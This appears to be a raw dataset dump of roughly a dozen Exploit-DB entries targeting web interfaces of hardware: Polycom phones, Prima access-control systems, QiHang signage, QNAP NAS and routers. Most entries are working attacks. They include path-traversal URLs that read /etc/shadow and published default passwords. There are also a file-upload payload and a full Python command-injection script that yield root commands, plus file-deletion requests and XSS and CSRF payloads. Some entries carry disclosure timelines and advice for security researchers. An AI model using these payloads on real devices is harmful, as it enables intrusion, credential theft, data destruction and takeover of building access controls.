deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17377
Description: Polycom IP Phone - Web Interface Data Disclosure
Type: webapps
Platform: hardware
Date: 2011-06-09
Author: Yakir Wizman

Exploit:
#     _             ____  __            __    ___
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / /
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/ 
#                   Live by the byte     |_/_/ 
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# Polycom IP Phone is vulnerable for a data disclosure, the following will explain you how to read the password..
# The vulnerabilitu allows an unprivileged attacker to read the sip details including password.
# The vulnerablities are in:
# * DATA DISCLOSURE - Password disclosure: http://127.0.0.1/reg_1.htm
#-----------------------------------
# Vulnerability Title: Polycom IP Phone Web Interface Data Diclosure Vulnerability
# Date: 08/06/2011
# Author: Pr0T3cT10n
# Website Link: http://www.polycom.com
# Tested on Version: ALL
# ISRAEL
###
###### NOTE: The Polycom ip phone software is also vulnerability for unauthorized person to access the web interface.
###### It happen because there is no password thats protects the interface.
###### Anyway, the default username and password are username "Polycom" and password "456"
## DATA DISCLOSURE:
# The data disclosure vulnerability found in the section of 'Lines' -> 'Line 1' of 'Polycom IP Phone' software.
# The vulnerability allows the attacker to disclosure the password of the username for the phone line that connected.
# To exploit the vulnerability and discluse the data we need to access to the 'Polycom IP Phone' by this url 'http://address/reg_1.htm'.
# Then we can see in the source code by the field 'reg.1.auth.password' and then we see the magic! thats is the password for the username by the sip server.
# Now if we already have the sip server, username and password so we can connect to it with any softphone and make our calls.
##
# Yours, Pr0T3cT10n.
Exploit-DB #41175
Description: Polycom VVX Web Interface - Change Admin Password
Type: webapps
Platform: hardware
Date: 2017-01-26
Author: Mike Brown

Exploit:
# Exploit Title: Polycom VVX Web Interface - Change Admin Password as User
# Date: January 26, 2017
# Exploit Author: Mike Brown
# Vendor Homepage: http://www.polycom.com/
# Software Link: http://downloads.polycom.com/voice/voip/uc_sw_releases_matrix.html
# Version: Polycom vvx 410 UC Software Version: 5.3.1.0436
# CVE : N/A

# This module requires the user to have access to the "User" account (Default User:123) in the Polycom VoIP phone's web interface. 
# The user can use the following steps to escalate privileges and become the Admin user to reveal menu items internal IP addresses 
# and account information.

1. Login with the "User" Account.
2. Navigate to Settings > Change Password.
3. Fill in "Old Password" with the current "User" password.
4. Fill in "New Password" with the new "Admin" account password, and confirm.
5. Using a live HTML editor, inspect the old password field. you will see:
      <input id="olduserpswd" name="122" isrebootrequired="false" helpid="525" value="" paramname="device.auth.localUserPassword" 
      default="" config="????" variabletype="string" min="0" max="32" maxlength="32" hintdivid="userAccountConf.htm_1" type="password">
6. Change the name field to "120" 
7. Click "Save"
8. An error will be shown on screen but you can now log into the Admin account with the new password.
Exploit-DB #38971
Description: Polycom VVX-Series Business Media Phones - Directory Traversal
Type: webapps
Platform: hardware
Date: 2015-12-14
Author: Jake Reynolds

Exploit:
Polycom VVX-Series Business Media Phones Path Traversal Vulnerability

--Summary--

Polycom VVX-series Business Media Phones allow authenticated users to execute file path traversal attacks

# Polycom
# http://www.polycom.com

--Affects--

# Polycom VVX 101, 201, 300, 310, 400, 410, 500, 600, & 1500
# UC Software 4.1.8 and earlier, 5.2.3 and earlier, 5.3.1 and earlier, 5.4.0 and earlier

--Details--

Polycom VVX-series IP phones provide a web administrative interface. Inside this interface we discovered two URLs that exposed a "file=filename" parameters. Due to unsafe file system operations in this interface, it is possible to exploit the following pages, and possibly others, using path traversal attacks:

http://a.b.c.d/Preferences/Ringtone?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

http://a.b.c.d/Preferences/Background?file=.%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow

--Mitigation--

Upgrade to the latest version of UC Software available.
Disable or restrict access to the web interface.

--Timeline--

# 6/16/2015: Notified Polycom about the issue
# 6/17/2015: Polycom responds, indicates it is investigating
# 6/18/2015: Polycom acknowledges vulnerability legitimacy
# 6/26/2015: Polycom waiting on estimate for fix from engineering
# 7/22/2015: Polycom provides with projected timelines for fixes
# 11/24/2015: Polycom confirms all VVX branches are patched
# 12/9/2015: Polycom issues public vulnerability advisory

--References--

https://depthsecurity.com/blog/polycom-vvx-series-business-media-phones-path-traversal-vulnerability 

http://supportdocs.polycom.com/PolycomService/support/global/documents/support/documentation/VVX_Path_Traversals_v_1_0.pdf

Jake Reynolds
Partner/Principal Consultant
www.depthsecurity.com
Exploit-DB #47634
Description: Prima Access Control 2.3.35 - Arbitrary File Upload
Type: webapps
Platform: hardware
Date: 2019-11-12
Author: LiquidWorm

Exploit:
# Exploit Title: Prima Access Control 2.3.35 - Arbitrary File Upload
# Google Dork: NA
# Date: 2019-11-11
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
# Software Link: https://www.computrols.com/building-automation-software/
# Version: 2.3.35
# Tested on: NA
# CVE : CVE-2019-9189
# Advisory: https://applied-risk.com/resources/ar-2019-007
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# Prima Access Control 2.3.35 Authenticated Stored XSS

# PoC

---

POST /bin/sysfcgi.fx HTTP/1.1
Host: 192.168.13.37
Connection: keep-alive
Content-Length: 572
Origin: https://192.168.13.37
Session-ID: 5682699
User-Agent: Mozi-Mozi/44.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: text/html, */*; q=0.01
Session-Pc: 2
X-Requested-With: XMLHttpRequest
Referer: https://192.168.13.37/app/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: G_ENABLED_IDPS=google

<requests><request name="PythonScriptUpload"><param name="DestinationHwID" value="1"/><param name="FileName" value="test_python.py"/><param name="Content" value="#!/usr/bin/python&#xA;#&#xA;# test script&#xA;#&#xA;&#xA;import sys,os&#xA;&#xA;with open("/etc/passwd") as f:&#xA;    with open("/www/pages/app/images/logos/testingus2.txt", "w") as f1:&#xA;        for line in f:&#xA;            f1.write(line)&#xA;&#xA;&#xA;os.system("id;uname -a >> /www/pages/app/images/logos/testingus2.txt")"/></request></requests>

Result:

$ curl https://192.168.13.37/app/images/logos/testingus2.txt
root:x:0:0:root:/home/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
www-data:x:33:33:www-data:/var/www:/bin/false
operator:x:37:37:Operator:/var:/bin/false
nobody:x:99:99:nobody:/home:/bin/false
python:x:1000:1000:python:/home/python:/bin/false
admin:x:1001:1001:Linux User,,,:/home/admin:/bin/sh
uid=0(root) gid=0(root) groups=0(root),10(wheel)
Linux DemoMaster214 4.4.16 #1 Mon Aug 29 13:29:40 CEST 2016 armv7l GNU/Linux
Exploit-DB #47612
Description: Prima FlexAir Access Control 2.3.38 - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2019-11-12
Author: LiquidWorm

Exploit:
# Exploit Title: Prima FlexAir Access Control 2.3.38 - Remote Code Execution
# Google Dork: NA
# Date: 2018-09-06
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.primasystems.eu/
# Software Link: https://primasystems.eu/flexair-access-control/
# Version: 2.3.38
# Tested on: NA
# CVE : CVE-2019-7670

#!/usr/bin/env python
#
# Authenticated Remote Root Exploit for Prima FlexAir Access Control 2.3.38
# via Command Injection in SetNTPServer request, Server parameter.
#
# CVE: CVE-2019-7670
# Advisory: https://applied-risk.com/resources/ar-2019-007
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
#
# By Gjoko 'LiquidWorm' Krstic
#
# 18.01.2019
#
############################################################################
#
# $ python ntpcmdinj.py
# [+] Usage: python ntpcmdinj.py [Target] [Session-ID] [Command]
# [+] Example: python ntpcmdinj.py http://10.0.251.17:8[PII_REDACTED]7 whoami
#
# $ python ntpcmdinj.py http://192.168.230.17:8[PII_REDACTED]4 "uname -a"
# Linux Alpha 4.4.16 #1 Mon Aug 29 13:29:40 CEST 2016 armv7l GNU/Linux
#
# $ python ntpcmdinj.py http://192.168.230.17:8[PII_REDACTED]4 id
# uid=0(root) gid=0(root) groups=0(root),10(wheel)
#
############################################################################
#

import requests
import sys#####

if len(sys.argv) < 4:
    print '[+] Usage: python ntpcmdinj.py [Target] [Session-ID] [Command]'
    print '[+] Example: python ntpcmdinj.py http://10.0.0.17:8[PII_REDACTED]7 whoami\n'
    sys.exit()

host = sys.argv[1]
sessionid = sys.argv[2]
commando = sys.argv[3]

url = host+"/bin/sysfcgi.fx"

headers = {"Session-ID"       : sessionid, # Muy importante!
           "User-Agent"       : "Dj/Ole",
           "Content-Type"     : "application/x-www-form-urlencoded; charset=UTF-8",
           "Accept"           : "text/html, */*; q=0.01",
           "Session-Pc"       : "2",
           "X-Requested-With" : "XMLHttpRequest",
           "Accept-Encoding"  : "gzip, deflate",
           "Accept-Language"  : "en-US,en;q=0.9"}

payload = ("<requests><request name=\"SetNTPServer\">"
           "<param name=\"Server\" value=\"2.europe.p"
           "ool.ntp.org;"+commando+">/www/pages/ap"
           "p/images/logos/stage.txt|\"/></request></"
           "requests>")

requests.post(url, headers=headers, data=payload)

e = requests.get(host+"/app/images/logos/stage.txt")
print e.text
Exploit-DB #48748
Description: QiHang Media Web Digital Signage 3.0.9 - Cleartext Credential Disclosure
Type: webapps
Platform: hardware
Date: 2020-08-17
Author: LiquidWorm

Exploit:
# Exploit Title: QiHang Media Web Digital Signage 3.0.9 - Cleartext Credential Disclosure
# Date: 2020-08-12
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.howfor.com
# Tested on: Microsoft Windows Server 2012 R2 Datacenter
# CVE : N/A

QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Cleartext Credentials Disclosure


Vendor: Shenzhen Xingmeng Qihang Media Co., Ltd.
        Guangzhou Hefeng Automation Technology Co., Ltd.
Product web page: http://www.howfor.com
Affected version: 3.0.9.0

Summary: Digital Signage Software.

Desc: The application suffers from clear-text credentials disclosure vulnerability
that allows an unauthenticated attacker to issue a request to an unprotected directory
that hosts an XML file '/xml/User/User.xml' and obtain administrative login information
that allows for a successful authentication bypass attack.

Tested on: Microsoft Windows Server 2012 R2 Datacenter
           Microsoft Windows Server 2003 Enterprise Edition
           ASP.NET 4.0.30319
           HowFor Web Server/5.6.0.0
           Microsoft ASP.NET Web QiHang IIS Server


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5579
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5579.php


27.07.2020

--

$ curl http://192.168.1.1/xml/User/User.xml

<?xml version="1.0" encoding="utf-8"?>
<Users>
  <User id="1" account="admin" password="admin" />
  <User id="2" account="dev" password="dev" />
</Users>
Exploit-DB #48749
Description: QiHang Media Web Digital Signage 3.0.9 - Unauthenticated Arbitrary File Deletion
Type: webapps
Platform: hardware
Date: 2020-08-17
Author: LiquidWorm

Exploit:
# Exploit Title: QiHang Media Web Digital Signage 3.0.9 - Unauthenticated Arbitrary File Deletion
# Date: 2020-08-12
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.howfor.com
# Tested on: Microsoft Windows Server 2012 R2 Datacenter
# CVE : N/A

QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Unauthenticated Arbitrary File Deletion


Vendor: Shenzhen Xingmeng Qihang Media Co., Ltd.
        Guangzhou Hefeng Automation Technology Co., Ltd.
Product web page: http://www.howfor.com
Affected version: 3.0.9.0

Summary: Digital Signage Software.

Desc: Input passed to the 'data' parameter in 'QH.aspx' for delete action
is not properly sanitised before being used to delete files. This can be
exploited by an unauthenticated attacker to delete files with the permissions
of the web server using their absolute path or via directory traversal
sequences passed within the affected POST parameter.


Tested on: Microsoft Windows Server 2012 R2 Datacenter
           Microsoft Windows Server 2003 Enterprise Edition
           ASP.NET 4.0.30319
           HowFor Web Server/5.6.0.0
           Microsoft ASP.NET Web QiHang IIS Server


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5580
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5580.php


27.07.2020

--


POST /QH.aspx HTTP/1.1
Host: 192.168.1.74:8090
Content-Length: 105
User-Agent: Eraser
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Origin: http://192.168.1.74:8090
Referer: http://192.168.1.74:8090/index.htm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

responderId=ResourceNewResponder&action=delete&data=["/opt/resources/Billboard.jpg"]
Exploit-DB #45348
Description: QNAP Photo Station 5.7.0 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-09-07
Author: Mitsuaki Shiraishi

Exploit:
# Exploit Title: QNAP Photo Station 5.7.0 - Cross-Site Scripting
# Google Dork: N/A
# Date: 2018-09-07
# Exploit Author: Mitsuaki (Mitch) Shiraishi - secureworks
# Vendor Homepage: https://www.qnap.com/ja-jp/security-advisory/nas-201808-23
# Software Link: N/A
# Version: QNAP Photo Station versions 5.7.0 and earlier
# Tested on: N/A
# CVE : CVE-2018-0715

# PoC: 

https://***.***.***.***:8080/photo/abc/<img%20src%3Da.jpg%20onerror%3D%22alert(1)%22>.txt
Exploit-DB #21081
Description: QNAP Turbo NAS TS-1279U-RP - Multiple Path Injections
Type: webapps
Platform: hardware
Date: 2012-09-05
Author: Andrea Fabrizi

Exploit:
# Exploit Title: QNAP Turbo NAS Multiple Path Injection
# Date: 2012-09-04
# Exploit Author: Andrea Fabrizi
# Vendor Homepage: http://www.qnap.com/
# Version: <= 3.7.3 build 20120801
# Tested on: QNAP TS-1279U-RP

This vulnerability has been discovered on QNAP TS-1279U-RP, but probably
other products that use the same firmware may be affected.

The CGI "/cgi-bin/filemanager/utilRequest.cgi" is prone to a path
injection, which makes it possible,
for authenticated users, to access, delete o modify any file, included
system files, configuration files and
files owned by other users.

Due to the single user configuration of the embedded linux system, it
is possible to access
any system file without restrictions (included /etc/shadow, that
contains the hash of the administrator password).

Vulnerable parameters are (the list is not exhaustive):
/cgi-bin/filemanager/utilRequest.cgi [source_file]
/cgi-bin/filemanager/utilRequest.cgi?func=delete [file_name]
/cgi-bin/filemanager/utilRequest.cgi?func=copy [dest_path]
/cgi-bin/filemanager/utilRequest.cgi?func=move [dest_path]
/cgi-bin/filemanager/utilRequest.cgi?func=get_acl_properties [name]

Sample HTTP request:
###########################################################
POST /cgi-bin/filemanager/utilRequest.cgi/test.txt HTTP/1.1
Host: 192.168.0.10
Content-Type: application/x-www-form-urlencoded
Content-Length: 123

isfolder=0&func=download&sid=12345abc&source_total=1&source_path=/myFiles&source_file=../../../etc/shadow
###########################################################
Exploit-DB #42075
Description: QWR-1104 Wireless-N Router - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2017-05-26
Author: Touhid M.Shaikh

Exploit:
# Exploit Title: Aries QWR-1104 Wireless-N Router Execute JavaScript in Wireless Site Survey page.
# Date: 26-05-2017
# Vendor Homepage : http://www.ariesnetworks.net/
# Firmware Version: WRC.253.2.0913
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: Hardware


##### Video PoC and Blog Post #####

https://www.youtube.com/watch?v=jF47XQQq26o

www.touhidshaikh.com/blog



##### Description ######

	Aries QWR-1104 Wireless-N Router this is home based router. this router provide some extra feature like WDS, Brigeding etc. while connectting another network admin must monitor network around using  Site servey page which is vulnerable to Execute malicious JavaScript code remoting in Wireless Site Survey page.


##### POC #######
	
	Make a Hotspot using any device. In Hotspot's Accss point name field, Put your malicious javascript code as a name of you hotspot.

	When Target Router's monitors routers around. your Malicious hotspot named router log in target's Site survey page and your hotspot javascript code executed as a javascript.(make sure doing this you whitin a target's network range.)

	#### my Hotspot's name : t<script>prompt(2)</script>

	### Target Servey page After Execute my Javascript ####

	<tr><td bgcolor="#C0C0C0" align="center" width="20%"><pre><font size="2">t<script>prompt(2)</script></font></pre></td>
		<td bgcolor="#C0C0C0" align="center" width="20%"><font size="2">02:1a:11:f8:**:**</font></td>
		<td bgcolor="#C0C0C0" align="center" width="10%"><font size="2">11 (B+G+N)</font></td>
		<td bgcolor="#C0C0C0" align="center" width="20%"><font size="2">AP</font></td>
		<td bgcolor="#C0C0C0" align="center" width="10%"><font size="2">no</font></td>
		<td bgcolor="#C0C0C0" align="center" width="10%"><font size="2">38</font></td>
	</tr>


######################################## PoC End Here ################################


######## Thanks
Pratik K.Tejani, Rehman, Taushif,Charles Babbage and all my friends ................
Exploit-DB #48807
Description: RAD SecFlow-1v SF_0290_2.3.01.26  - Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2020-09-14
Author: Jonatan Schor

Exploit:
# Exploit Title: RAD SecFlow-1v SF_0290_2.3.01.26 - Persistent Cross-Site Scripting
# Date: 2020-08-31
# Exploit Author: Jonatan Schor and Uriel Yochpaz
# Vendor Homepage: https://www.rad.com/products/secflow-1v-IIoT-Gateway
# Version: SecFlow-1v os-image SF_0290_2.3.01.26
# Tested on: RAD SecFlow-1v
# CVE : N/A

A Stored-XSS vulnerability was found in multiple pages in the web-based
management interface of RAD SecFlow-1v.
An attacker could exploit this vulnerability by uploading a malicious file
as the OVPN file in Configuration-Services-Security-OpenVPN-Config or as
the static key file in Configuration-Services-Security-OpenVPN-Static Keys.
These files content is presented to users while executing malicious stored
JavaScript code.
This could be exploited in conjunction with CVE-2020-13259

# Proof of Concept
Upload a file containing the following JS code:
<img src=x onerror=alert(1)>
Refresh the page and observe the malicious JS code execute every time you
browse the compromised page.

# Full Account Takeover
As mentioned above, this exploit could be used in conjunction with
CVE-2020-13259 (CSRF), by using the CSRF exploit to upload a malicious file
to a Stored-XSS vulnerabale page, which could allow Full Account Takeover.
For further information and full PoC:
https://github.com/UrielYochpaz/CVE-2020-13259

# Timeline
May 19th, 2020 - Vulnerability exposed.
May 19th, 2020 – Vulnerability reported to RAD.
May 21th, 2020 – Vulnerability reported to MITRE.
May 21th, 2020 – MITRE assigned CVE: CVE-2020-13260.
May 22th, 2020 – Contacted RAD for further details and cooperation.
Aug 25th, 2020 – RAD patched the vulnerability.
Exploit-DB #48809
Description: RAD SecFlow-1v SF_0290_2.3.01.26 - Cross-Site Request Forgery (Reboot)
Type: webapps
Platform: hardware
Date: 2020-09-14
Author: Jonatan Schor

Exploit:
# Exploit Title: RAD SecFlow-1v SF_0290_2.3.01.26 - Cross-Site Request Forgery (Reboot)
# Date: 2020-08-31
# Exploit Author: Uriel Yochpaz and Jonatan Schor
# Vendor Homepage: https://www.rad.com/products/secflow-1v-IIoT-Gateway
# Version: SecFlow-1v os-image SF_0290_2.3.01.26
# Tested on: RAD SecFlow-1v
# CVE : N/A

A vulnerability in the web-based management interface of RAD SecFlow-1v
could allow an unauthenticated, remote attacker to conduct a cross-site
request forgery (CSRF) attack on an affected system.
The vulnerability is due to insufficient CSRF protections for the web UI on
an affected device.
An attacker could exploit this vulnerability by persuading a user of the
interface to follow a malicious link. A successful exploit could allow the
attacker to perform arbitrary actions with the privilege level of the
affected user.
This could be exploited in conjunction with CVE-2020-13260.

# Proof of Concept
By persuading an authenticated user to open a web page containing the
following code:
<img src="https://SecFlow-1v_IP/devicereboot.php?restart=1&isSubmitted=1">
A reboot operation would begin.
This attack could execute any operation available at the web-based
management interface (File uploads, Scheduled and immediate reboots,
Factory reset etc.)

# Full Account Takeover
As mentioned above, this exploit could be used in conjunction with
CVE-2020-13260 (Stored-XSS), by using the CSRF exploit to upload a
malicious file to a Stored-XSS vulnerabale page, which could allow Full
Account Takeover.
For further information and full PoC:
https://github.com/UrielYochpaz/CVE-2020-13259

# Timeline
May 19th, 2020 - Vulnerability exposed.
May 19th, 2020 – Vulnerability reported to RAD.
May 21th, 2020 – Vulnerability reported to MITRE.
May 21th, 2020 – MITRE assigned CVE: CVE-2020-13259.
May 22th, 2020 – Contacted RAD for further details and cooperation.
Aug 25th, 2020 – RAD patched the vulnerability.